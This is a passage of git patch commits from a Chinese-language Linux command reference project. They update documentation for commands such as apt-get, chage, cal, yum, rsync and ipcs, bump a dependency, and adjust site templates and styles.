+<%-mdhtml%> +
<%- include('widget/footer',{type: "list"}); %> <%- include('partial/footer'); %> \ No newline at end of file From 7991724c39532db5186dadd25bb981094bd65a3a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Sat, 23 Oct 2021 21:10:42 +0800 Subject: [PATCH 0373/1019] Update .gitattributes --- .gitattributes | 1 + 1 file changed, 1 insertion(+) diff --git a/.gitattributes b/.gitattributes index a59304dfbb0..518eefdd844 100644 --- a/.gitattributes +++ b/.gitattributes @@ -1,2 +1,3 @@ *.js linguist-language=html *.ejs linguist-language=html +*.md linguist-detectable=true From 600ab6f2c86a22829b9213c5237fa0cbcba0661a Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sat, 23 Oct 2021 21:13:49 +0800 Subject: [PATCH 0374/1019] style: update home page. --- template/index.ejs | 2 +- template/styl/index.styl | 10 ++++++++++ 2 files changed, 11 insertions(+), 1 deletion(-) diff --git a/template/index.ejs b/template/index.ejs index fa15264bb68..3095891f069 100644 --- a/template/index.ejs +++ b/template/index.ejs @@ -1,5 +1,5 @@ <%- include('partial/header'); %> -
+
<%- include('widget/search',{type: "home"}); %> <%- include('widget/footer',{type: "home"}); %>
diff --git a/template/styl/index.styl b/template/styl/index.styl index b33e0ccfae5..c61b8283ea6 100644 --- a/template/styl/index.styl +++ b/template/styl/index.styl @@ -40,6 +40,16 @@ a { 40%,80%{-webkit-transform:rotate(10deg);transform:rotate(10deg)} } +.warpper { + min-height: 100vh; + display: flex; + flex-direction: column; + justify-content: center; + .footer { + padding-bottom: 280px; + } +} + .header { width 517px margin 0 auto 0 From 14e515027cb4bf1e1b30289ecbf02f39749bef57 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Sat, 23 Oct 2021 21:32:00 +0800 Subject: [PATCH 0375/1019] Update apt-get.md --- command/apt-get.md | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/command/apt-get.md b/command/apt-get.md index 035a1b057d5..c9189162f51 100644 --- a/command/apt-get.md +++ b/command/apt-get.md @@ -16,15 +16,15 @@ apt-get [OPTION] PACKAGE ### 选项 ```shell -apt-get install 安装新包 -apt-get remove 卸载已安装的包（保留配置文件） -apt-get purge 卸载已安装的包（删除配置文件） -apt-get update 更新软件包列表 -apt-get upgrade 更新所有已安装的包 -apt-get autoremove 卸载已不需要的包依赖 -apt-get dist-upgrade 自动处理依赖包升级 -apt-get autoclean 将已经删除了的软件包的.deb安装文件从硬盘中删除掉 -apt-get clean 删除软件包的安装包 +apt-get install # 安装新包 +apt-get remove # 卸载已安装的包（保留配置文件） +apt-get purge # 卸载已安装的包（删除配置文件） +apt-get update # 更新软件包列表 +apt-get upgrade # 更新所有已安装的包 +apt-get autoremove # 卸载已不需要的包依赖 +apt-get dist-upgrade # 自动处理依赖包升级 +apt-get autoclean # 将已经删除了的软件包的.deb安装文件从硬盘中删除掉 +apt-get clean # 删除软件包的安装包 -c：指定配置文件。 ``` From 3499e0aeab5a04fddb53b88f178288fe4f76b7fd Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Sat, 23 Oct 2021 21:36:09 +0800 Subject: [PATCH 0376/1019] Update bind.md --- command/bind.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/bind.md b/command/bind.md index dc941506890..8a431ed9cb8 100644 --- a/command/bind.md +++ b/command/bind.md @@ -33,7 +33,7 @@ bind -x '"\C-l":ls -l' #直接按 CTRL+L 就列出目录 其中keyseq可以使用`showkey -a`命令来获取： ```shell -[root@localhost ~]# showkey -a +showkey -a Press any keys - Ctrl-D will terminate this program From d655f90f69e12964677c2fcc4f5689c6f908dffe Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Sat, 23 Oct 2021 22:52:11 +0800 Subject: [PATCH 0377/1019] Update chage.md --- command/chage.md | 43 +++++++++++++++++++++++-------------------- 1 file changed, 23 insertions(+), 20 deletions(-) diff --git a/command/chage.md b/command/chage.md index 532ea3dc697..158ec1758e4 100644 --- a/command/chage.md +++ b/command/chage.md @@ -54,42 +54,45 @@ CREATE_MAIL_SPOOL=yes 我的服务器root帐户密码策略信息如下： ```shell -[root@linuxde ~]# chage -l root -最近一次密码修改时间 ： 3月 12, 2013 -密码过期时间 ：从不 -密码失效时间 ：从不 -帐户过期时间 ：从不 +chage -l root + +最近一次密码修改时间 ： 3月 12, 2013 +密码过期时间 ：从不 +密码失效时间 ：从不 +帐户过期时间 ：从不 两次改变密码之间相距的最小天数 ：0 两次改变密码之间相距的最大天数 ：99999 -在密码过期之前警告的天数 ：7 +在密码过期之前警告的天数 ：7 ``` 我可以通过如下命令修改我的密码过期时间： ```shell -[root@linuxde ~]# chage -M 60 root -[root@linuxde ~]# chage -l root -最近一次密码修改时间 ： 3月 12, 2013 -密码过期时间 ： 5月 11, 2013 -密码失效时间 ：从不 -帐户过期时间 ：从不 +chage -M 60 root +chage -l root + +最近一次密码修改时间 ： 3月 12, 2013 +密码过期时间 ： 5月 11, 2013 +密码失效时间 ：从不 +帐户过期时间 ：从不 两次改变密码之间相距的最小天数 ：0 两次改变密码之间相距的最大天数 ：60 -在密码过期之前警告的天数 ：9 +在密码过期之前警告的天数 ：9 ``` 然后通过如下命令设置密码失效时间： ```shell -[root@linuxde ~]# chage -I 5 root -[root@linuxde ~]# chage -l root -最近一次密码修改时间 ： 3月 12, 2013 -密码过期时间 ： 5月 11, 2013 -密码失效时间 ： 5月 16, 2013 -帐户过期时间 ：从不 +chage -I 5 root +chage -l root + +最近一次密码修改时间 ： 3月 12, 2013 +密码过期时间 ： 5月 11, 2013 +密码失效时间 ： 5月 16, 2013 +帐户过期时间 ：从不 两次改变密码之间相距的最小天数 ：0 两次改变密码之间相距的最大天数 ：60 -在密码过期之前警告的天数 ：9 +在密码过期之前警告的天数 ：9 ``` 从上述命令可以看到，在密码过期后5天，密码自动失效，这个用户将无法登陆系统了。 From f06f3aec9e6fbbbeb2f649228c8e46af722d4d1b Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Sun, 24 Oct 2021 21:39:51 +0800 Subject: [PATCH 0378/1019] chore(deps): update dependency markdown-to-html-cli to v3.1.3 (#301) Co-authored-by: Renovate Bot --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 834fc2ba8fc..0b61494602f 100644 --- a/package.json +++ b/package.json @@ -29,7 +29,7 @@ "colors-cli": "1.0.28", "ejs": "3.1.6", "fs-extra": "10.0.0", - "markdown-to-html-cli": "3.1.1", + "markdown-to-html-cli": "3.1.3", "sitemap-generator": "8.5.1", "sqlite3": "5.0.2", "stylus": "0.55.0", From da9769e3fed7822a67a53015334a76ebd05c29eb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Thu, 28 Oct 2021 14:20:21 +0800 Subject: [PATCH 0379/1019] doc: Update cal.md --- command/cal.md | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/command/cal.md b/command/cal.md index b066e2715ed..0a82f254bf6 100644 --- a/command/cal.md +++ b/command/cal.md @@ -67,13 +67,15 @@ cal [ -mjy ] [ 月份 ] [ 年份 ] ```shell [root@localhost ~]# cal -3 - 十一月 2013 十二月 2013 一月 2014 -日 一 二 三 四 五 六 日 一 二 三 四 五 六 日 一 二 三 四 五 六 - 1 2 1 2 3 4 5 6 7 1 2 3 4 - 3 4 5 6 7 8 9 8 9 10 11 12 13 14 5 6 7 8 9 10 11 -10 11 12 13 14 15 16 15 16 17 18 19 20 21 12 13 14 15 16 17 18 -17 18 19 20 21 22 23 22 23 24 25 26 27 28 19 20 21 22 23 24 25 -24 25 26 27 28 29 30 29 30 31 26 27 28 29 30 31 + + 九月 2021 十月 2021 十一月 2021 +日 一 二 三 四 五 六 日 一 二 三 四 五 六 日 一 二 三 四 五 六 + 1 2 3 4 1 2 1 2 3 4 5 6 + 5 6 7 8 9 10 11 3 4 5 6 7 8 9 7 8 9 10 11 12 13 +12 13 14 15 16 17 18 10 11 12 13 14 15 16 14 15 16 17 18 19 20 +19 20 21 22 23 24 25 17 18 19 20 21 22 23 21 22 23 24 25 26 27 +26 27 28 29 30 24 25 26 27 28 29 30 28 29 30 + 31 ``` From fdf14496bd27bb8479fde0c09a85ffe2b3cba321 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Sat, 30 Oct 2021 11:20:34 +0800 Subject: [PATCH 0380/1019] Update yum.md --- command/yum.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/command/yum.md b/command/yum.md index e00a4e332f1..0b69f542bb2 100644 --- a/command/yum.md +++ b/command/yum.md @@ -97,16 +97,16 @@ yum deplist package1 #查看程序package1依赖情况 **清除缓存** ```shell -yum clean packages #清除缓存目录下的软件包 -yum clean headers #清除缓存目录下的 headers -yum clean oldheaders #清除缓存目录下旧的 headers +yum clean packages # 清除缓存目录下的软件包 +yum clean headers # 清除缓存目录下的 headers +yum clean oldheaders # 清除缓存目录下旧的 headers ``` **更多实例** ```shell # yum -/etc/yum.repos.d/ yum 源配置文件 +/etc/yum.repos.d/ # yum 源配置文件 vi /etc/yum.repos.d/nginx.repo # 举个栗子: nginx yum源 [nginx] name=nginx repo From a1c4996bab23f5fe983bcd283d5769a71b23beaf Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sat, 30 Oct 2021 12:35:47 +0800 Subject: [PATCH 0381/1019] chore: update .github/workflows/ci.yml --- .github/workflows/ci.yml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 1d465247e07..cc0e3616733 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -35,6 +35,8 @@ jobs: with: github_token: ${{ secrets.GITHUB_TOKEN }} publish_dir: ./.deploy + user_name: github-actions[bot] + user_email: github-actions[bot]@users.noreply.github.com - name: Create Tag id: create_tag From 36b14ae8175f8542ea1ac3262b023881bced6297 Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Wed, 10 Nov 2021 13:51:20 +0800 Subject: [PATCH 0382/1019] chore(deps): update dependency markdown-to-html-cli to v3.1.4 (#305) Co-authored-by: Renovate Bot --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 0b61494602f..aedcb1608c9 100644 --- a/package.json +++ b/package.json @@ -29,7 +29,7 @@ "colors-cli": "1.0.28", "ejs": "3.1.6", "fs-extra": "10.0.0", - "markdown-to-html-cli": "3.1.3", + "markdown-to-html-cli": "3.1.4", "sitemap-generator": "8.5.1", "sqlite3": "5.0.2", "stylus": "0.55.0", From d5cd1ef1be6ae2b6fbfb5a26de1a8268b4a3dfc6 Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Wed, 10 Nov 2021 18:20:02 +0800 Subject: [PATCH 0383/1019] chore(deps): update dependency markdown-to-html-cli to v3.1.5 (#306) Co-authored-by: Renovate Bot --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index aedcb1608c9..19ffe2983ac 100644 --- a/package.json +++ b/package.json @@ -29,7 +29,7 @@ "colors-cli": "1.0.28", "ejs": "3.1.6", "fs-extra": "10.0.0", - "markdown-to-html-cli": "3.1.4", + "markdown-to-html-cli": "3.1.5", "sitemap-generator": "8.5.1", "sqlite3": "5.0.2", "stylus": "0.55.0", From 0a14440e95999e04982cf6ee2421a025f569cafa Mon Sep 17 00:00:00 2001 From: Danny Date: Thu, 11 Nov 2021 16:06:28 +0800 Subject: [PATCH 0384/1019] Update rsync.md (#307) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 修正拼写错误 --- command/rsync.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/rsync.md b/command/rsync.md index 6cc20a4ab4e..9132b1ecb35 100644 --- a/command/rsync.md +++ b/command/rsync.md @@ -86,7 +86,7 @@ rsync [OPTION]... rsync://[USER@]HOST[:PORT]/SRC [DEST] --port=PORT 指定其他的rsync服务端口。 --blocking-io 对远程shell使用阻塞IO。 -stats 给出某些文件的传输状态。 ---progress 在传输时现实传输过程。 +--progress 在传输时显示传输过程。 --log-format=formAT 指定日志文件格式。 --password-file=FILE 从FILE中得到密码。 --bwlimit=KBPS 限制I/O带宽，KBytes per second。 From 077e5a8d50263adf80bb7a6feebb6c8975936a6c Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Mon, 15 Nov 2021 12:45:16 +0800 Subject: [PATCH 0385/1019] chore(deps): update dependency markdown-to-html-cli to v3.1.6 (#308) Co-authored-by: Renovate Bot --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 19ffe2983ac..74e7f86ac1b 100644 --- a/package.json +++ b/package.json @@ -29,7 +29,7 @@ "colors-cli": "1.0.28", "ejs": "3.1.6", "fs-extra": "10.0.0", - "markdown-to-html-cli": "3.1.5", + "markdown-to-html-cli": "3.1.6", "sitemap-generator": "8.5.1", "sqlite3": "5.0.2", "stylus": "0.55.0", From 75690fae1ec63b53257ca4f91fb60c8358c9dded Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E7=83=9F=E8=8D=89=E7=9A=84=E9=A6=99=E5=91=B3?= Date: Wed, 17 Nov 2021 22:16:43 +0800 Subject: [PATCH 0386/1019] =?UTF-8?q?=E6=9B=B4=E6=96=B0=20ipcs=20=E5=91=BD?= =?UTF-8?q?=E4=BB=A4=20(#310)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 补充 `ipcs`命令的参数 --- command/ipcs.md | 44 +++++++++++++++++++++++++++++++++++--------- 1 file changed, 35 insertions(+), 9 deletions(-) diff --git a/command/ipcs.md b/command/ipcs.md index 0ecaed35d44..86c51962719 100644 --- a/command/ipcs.md +++ b/command/ipcs.md @@ -1,7 +1,7 @@ ipcs === -分析消息队列共享内存和信号量 +分析消息队列共享内存和信号量 ## 补充说明 @@ -15,11 +15,33 @@ ipcs(选项) ### 选项 +#### 资源选项 + +```shell +-a, --all 显示全部(默认值) +-q, --queues 消息队列 +-m, --shmems 共享内存 +-s, --semaphores 信号量 +``` + +#### 输出选项 + ```shell --a：显示全部可显示的信息； --q：显示活动的消息队列信息； --m：显示活动的共享内存信息； --s：显示活动的信号量信息。 +-t, --time 显示最后一次操作时间 +-p, --pid 显示创建者和最后一次操作者的PID +-c, --creator 显示创建者和拥有者的 userid, groupid +-l, --limits 显示对资源的限制 +-u, --summary 显示当前状态摘要 +--human 以友好的方式显示大小(eg: 500K) +-b, --bytes 以字节为单位显示大小(仅影响`-l`选项) +``` + +#### 通用选项 + +```shell +-i, --id 显示指定ID的资源 +-h, --help 显示帮助文档并退出 +-V, --version 显示版本信息并退出 ``` ### 实例 @@ -27,11 +49,15 @@ ipcs(选项) ```shell ipcs -a ------ Shared Memory Segments -------- -key shmid owner perms bytes nattch status -0x7401833d 2654208 root 600 4 0 -0x00000000 3145729 root 600 4194304 9 dest -0x7401833c 2621442 root 600 4 0 +key shmid owner perms bytes nattch status +0x7401833d 2654208 root 600 4 0 +0x00000000 3145729 root 600 4194304 9 dest +0x7401833c 2621442 root 600 4 0 0xd201012b 3080195 root 600 1720 2 ``` +### 相关命令 + +* `ipcrm`: 删除 IPC 资源 +* `ipcmk`: 创建 IPC 资源 From 68f672b97247a78d4b25c9bd90359b8e48ee45b2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E7=83=9F=E8=8D=89=E7=9A=84=E9=A6=99=E5=91=B3?= Date: Wed, 17 Nov 2021 22:25:33 +0800 Subject: [PATCH 0387/1019] =?UTF-8?q?=E6=9B=B4=E6=96=B0`IPCS`=E5=91=BD?= =?UTF-8?q?=E4=BB=A4=20(#311)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 刚才提交的内容, 使用了`tab`进行对其, 但是发现在 [页面显示](https://wangchujiang.com/linux-command/c/ipcs.html) 中, `tab`并没有对其, 故改为了空格对齐. --- command/ipcs.md | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/command/ipcs.md b/command/ipcs.md index 86c51962719..180b656b255 100644 --- a/command/ipcs.md +++ b/command/ipcs.md @@ -18,30 +18,30 @@ ipcs(选项) #### 资源选项 ```shell --a, --all 显示全部(默认值) --q, --queues 消息队列 --m, --shmems 共享内存 --s, --semaphores 信号量 +-a, --all 显示全部(默认值) +-q, --queues 消息队列 +-m, --shmems 共享内存 +-s, --semaphores 信号量 ``` #### 输出选项 ```shell --t, --time 显示最后一次操作时间 --p, --pid 显示创建者和最后一次操作者的PID --c, --creator 显示创建者和拥有者的 userid, groupid --l, --limits 显示对资源的限制 --u, --summary 显示当前状态摘要 ---human 以友好的方式显示大小(eg: 500K) --b, --bytes 以字节为单位显示大小(仅影响`-l`选项) +-t, --time 显示最后一次操作时间 +-p, --pid 显示创建者和最后一次操作者的PID +-c, --creator 显示创建者和拥有者的 userid, groupid +-l, --limits 显示对资源的限制 +-u, --summary 显示当前状态摘要 +--human 以友好的方式显示大小(eg: 500K) +-b, --bytes 以字节为单位显示大小(仅影响`-l`选项) ``` #### 通用选项 ```shell --i, --id 显示指定ID的资源 --h, --help 显示帮助文档并退出 --V, --version 显示版本信息并退出 +-i, --id 显示指定ID的资源 +-h, --help 显示帮助文档并退出 +-V, --version 显示版本信息并退出 ``` ### 实例 From bd7b9fb154ab794b8ee6ea77224e3f6531eb6d47 Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Wed, 1 Dec 2021 19:12:50 +0800 Subject: [PATCH 0388/1019] chore(deps): update dependency markdown-to-html-cli to v3.2.1 (#314) Co-authored-by: Renovate Bot --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 74e7f86ac1b..d15ba960168 100644 --- a/package.json +++ b/package.json @@ -29,7 +29,7 @@ "colors-cli": "1.0.28", "ejs": "3.1.6", "fs-extra": "10.0.0", - "markdown-to-html-cli": "3.1.6", + "markdown-to-html-cli": "3.2.1", "sitemap-generator": "8.5.1", "sqlite3": "5.0.2", "stylus": "0.55.0", From 3ac5325f5ea16cdfd41ec268368f25e505a6cf67 Mon Sep 17 00:00:00 2001 From: ghy <56125657+G-ghy@users.noreply.github.com> Date: Wed, 1 Dec 2021 19:13:31 +0800 Subject: [PATCH 0389/1019] doc: Update setsebool.md (#313) --- command/setsebool.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/setsebool.md b/command/setsebool.md index ded0b188bd2..45740ad8d95 100644 --- a/command/setsebool.md +++ b/command/setsebool.md @@ -21,7 +21,7 @@ setsebool [-P] 布尔值=[0|1] ### 实例 -允许vsvtp匿名用户写入权限： +允许vsftp匿名用户写入权限： ```shell setsebool -P allow_ftpd_anon_write=1 From 573c24ce046631fa964538d32b9a700612926aaf Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Wed, 1 Dec 2021 21:17:33 +0800 Subject: [PATCH 0390/1019] chore(deps): update dependency markdown-to-html-cli to v3.2.2 (#315) Co-authored-by: Renovate Bot --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index d15ba960168..05a13e013b2 100644 --- a/package.json +++ b/package.json @@ -29,7 +29,7 @@ "colors-cli": "1.0.28", "ejs": "3.1.6", "fs-extra": "10.0.0", - "markdown-to-html-cli": "3.2.1", + "markdown-to-html-cli": "3.2.2", "sitemap-generator": "8.5.1", "sqlite3": "5.0.2", "stylus": "0.55.0", From 29b890be8277446742a404127137ec4d287e4e18 Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Fri, 3 Dec 2021 23:58:20 +0800 Subject: [PATCH 0391/1019] chore(deps): update dependency markdown-to-html-cli to v3.2.3 (#316) Co-authored-by: Renovate Bot --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 05a13e013b2..64260c6debb 100644 --- a/package.json +++ b/package.json @@ -29,7 +29,7 @@ "colors-cli": "1.0.28", "ejs": "3.1.6", "fs-extra": "10.0.0", - "markdown-to-html-cli": "3.2.2", + "markdown-to-html-cli": "3.2.3", "sitemap-generator": "8.5.1", "sqlite3": "5.0.2", "stylus": "0.55.0", From 73ee65b6926f46dc4d9299e62105e69b06757b2b Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 5 Dec 2021 13:44:43 +0800 Subject: [PATCH 0392/1019] fix: fix copy button issue. --- template/details.ejs | 12 ++++++++ template/styl/mixins/markdown.styl | 44 ++++++++++++++++++++++++++++++ 2 files changed, 56 insertions(+) diff --git a/template/details.ejs b/template/details.ejs index bbd4e2a45f4..38f5febecd5 100644 --- a/template/details.ejs +++ b/template/details.ejs @@ -1,5 +1,17 @@ <%- include('partial/header'); %> <%- include('widget/search',{type: "list"}); %> + + +
<% if(md_path){ %> diff --git a/template/styl/mixins/markdown.styl b/template/styl/mixins/markdown.styl index 64d2f549bee..74cac5dfc5c 100644 --- a/template/styl/mixins/markdown.styl +++ b/template/styl/mixins/markdown.styl @@ -55,6 +55,50 @@ mq-mobile = "screen and (max-width: 479px)" } } + +.markdown-body pre[class*="language-"] { + position: relative; +} +.markdown-body pre[class*="language-"] .copied { + visibility: hidden; + display: flex; + position: absolute; + cursor: pointer; + color: #a5afbb; + top: 6px; + right: 6px; + border-radius: 5px; + background: #e3e3e3; + padding: 6px; + font-size: 12px; + transition: all .3s; +} +.markdown-body pre[class*="language-"]:hover .copied { + visibility: visible; +} +.markdown-body pre[class*="language-"]:hover .copied:hover { + background: #4caf50; + color: #fff; +} +.markdown-body pre[class*="language-"]:hover .copied:active, +.markdown-body pre[class*="language-"] .active { + background: #2e9b33; + color: #fff; +} + +.markdown-body pre[class*="language-"] .copied .octicon-copy { + display: block; +} +.markdown-body pre[class*="language-"] .copied .octicon-check { + display: none; +} +.markdown-body pre[class*="language-"] .active .octicon-copy { + display: none; +} +.markdown-body pre[class*="language-"] .active .octicon-check { + display: block; +} + .markdown-body .octicon { display: inline-block; fill: currentColor; From b9678fdf7962404801dc20f3557660b4cfe31874 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 5 Dec 2021 13:45:12 +0800 Subject: [PATCH 0393/1019] chore: update data.json --- dist/data.json | 2 +- dist/data.min.json | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/dist/data.json b/dist/data.json index 07b3304cba1..78b8ec79223 100644 --- a/dist/data.json +++ b/dist/data.json @@ -1107,7 +1107,7 @@ "ipcs": { "n": "ipcs", "p": "/ipcs", - "d": "分析消息队列共享内存和信号量 " + "d": "分析消息队列共享内存和信号量" }, "iperf": { "n": "iperf", diff --git a/dist/data.min.json b/dist/data.min.json index a72297ed685..845b5670ce2 100644 --- a/dist/data.min.json +++ b/dist/data.min.json @@ -1 +1 @@ -{"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"创一个bz2文件压缩包"},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"解压缩指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 